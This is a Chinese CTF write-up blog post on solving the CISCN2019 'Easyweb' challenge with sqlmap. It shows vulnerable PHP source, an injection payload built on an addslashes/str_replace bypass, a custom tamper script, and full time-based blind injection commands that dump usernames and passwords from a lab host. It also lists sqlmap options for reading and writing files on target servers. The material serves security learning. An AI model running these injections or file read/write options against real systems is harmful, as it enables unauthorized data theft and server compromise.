Back

sqlmap使用实例

通过例题讲了sqlmap的使用

学安全的时候第一件事就是在学长要求下安了sqlmap,可到现在还是只会这个:

sqlmap -u "url"
sqlmap -u "url" --dbs
sqlmap -u "url" -D xx --tables 
sqlmap -u "url" -D xx -T xx --columns
sqlmap -u "url" -D xx -T xx -C xx,xx --dump

或者一个post,把包抓下来,用:

sqlmap -r post.txt

今天就用一道题来演示一下,sqlmap的其他功能:

题目是:[CISCN2019 总决赛 Day2 Web1]Easyweb

源码:https://github.com/glzjin/CISCN_2019_Final_12_Day2_Web1

或者直接buu搜……

首先来审下题,robots.txt泄露出存在*.php.bak,再挨个php试一下,可以下载到image.php.bak,下面是审计部分,和sqlmap没关系,可以直接跳到结果部分

源码如下:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

我们发现addslashes()和str_replace()一起使用引起了安全隐患,当我们id输入为\0时,测试如下:

<?php

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

输入:id=\0

$id=addslashes($id);
$path=addslashes($path);
print($id);
echo "<br>";

输出:\\0

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

print($id);
echo "<br>";

输出:\

$result="select * from images where id='{$id}' or path='{$path}'";


$path="./" . $row["path"];


print($result);

输出:select * from images where id='\' or path=' or 1#'

可以发现最终的形式是这样的:

select * from images where id='xxx' or 1#'

得出结果:

id=\0&path= or 1=1 %23

更改or后面的值可以更改payload。由于网页正确时会返回图片,我们使用布尔盲注或者时间盲注都可以。

下面演示一下使用sqlmap该怎么对这道题进行时间盲注:

首先是tamper脚本的编写:

在sqlmap/tamper/里新建自己中意名字的python脚本:

import sys
sys.path.append("E:\\tools\\sqlmap")
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
    singleTimeWarnMessage("这是我的tamper提示")

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
    payload = " or "+payload+"%23"
    return payload

一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义,

priority定义脚本的优先级,用于有多个tamper脚本的情况,查看lib.core.enums里的PRIORITY类可以看到详细的定义级别:

class PRIORITY(object):
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

dependencies函数声明该脚本适用/不适用的范围,可以为空;

刚才例子里使用的singleTimeWarnMessage() 用于在控制台中打印出警告信息:

tamper是主要的函数,接受的参数为payload和**kwargs,其中payload就是所求。kwargs为相关httpheader,想插入或则修改header的时候可以用到。

如例,我的tamper里就可以这么前后一加(虽然在sqlmap里也有类似的指令),然后url变成http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=,再指定注入参数为path就可以了。

下面是要用到的注入命令:

--current-db #查看当前的数据库
--technique T  #指定注入类型
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
  
-v3  #输出详细度 
0、只显示python错误以及严重的信息1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息3、同时显示注入的payload4、同时显示HTTP请求5、同时显示HTTP响应头6、同时显示HTTP响应页面
--threads 5           #指定线程数(时间盲注不推荐开多线程)
--dbms="MySQL" #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB

--time-sec #DBMS响应的延迟时间(默认为5秒)
-p     #可测试的参数
--fresh-queries     #刷新缓存

库名

python3 sqlmap.py -u "http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=1" --tamper=my.py -v 3 --dbms="MySQL" --technique=T -p path  --time-sec 4 --current-db

表名

python3 sqlmap.py -u "http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=1" --tamper=my.py -v 3 --dbms="MySQL" --technique=T -p path  --time-sec 4 -D ciscnfinal --tables

字段(sqlmap自动用了16进制的绕过)

python3 sqlmap.py -u "http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=1" --tamper=my.py -v 3 --dbms="MySQL" --technique=T -p path   --time-sec 4 -D ciscnfinal -T users --columns

数据

python3 sqlmap.py -u "http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=1" --tamper=my.py -v 3 --dbms="MySQL" --technique=T -p path   --time-sec 4 -D ciscnfinal -T users -C username,password --dump

这里b2ff3D048fe0c0374fd7可耻的错了,刷新缓存之后是b2ff30048fe0c0374fd7,看来时间盲注还是错误率的hhh。

这里能发现,sqlmap每次盲注的最后都使用一个来确定时间盲注的判断是否成功,下面接上刷新缓存的命令:

python3 sqlmap.py -u "http://57d910cf-b223-4831-ac2c-3090cb6551d2.node4.buuoj.cn:81/image.php?id=\\0&path=1" --tamper=my.py -v 3 --dbms="MySQL" --technique=T -p path   --time-sec 4 -D ciscnfinal -T users -C username,password --dump --fresh-queries

完成注入,可以登录了,结束。但是这里还有很多问题,比如level还没涉及到,比如知道误报之后怎么只刷新特定的缓存……

推荐一个SQLMAP进阶使用的博客:

http://drops.xmd5.com/static/drops/tips-5254.html

下面是一些好玩的注入命令:

--referer http://www.baidu.com   #伪造referer字段
--is-dba    #判断当前用户是否有管理员权限
--data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
--file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
--file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
--proxy="http://127.0.0.1:8080"    #指定代理
--prefix=PREFIX     #注入payload字符串前缀
--suffix=SUFFIX     #注入payload字符串后缀

使用星号(*)来指定注入点

python sqlmap.py -u "http://127.0.0.1/Less-20/?id=1" --cookie="uname=admin*" --banner

提示:custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q]

更多更全的命令可以参考下面博客:

https://www.freebuf.com/sectool/164608.html

或者官方文档……

ps:感觉根据实际环境来修改现有的工具进行利用才是最nice的!

参考:

https://blog.csdn.net/whatday/article/details/62059263

https://www.anquanke.com/post/id/235846

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0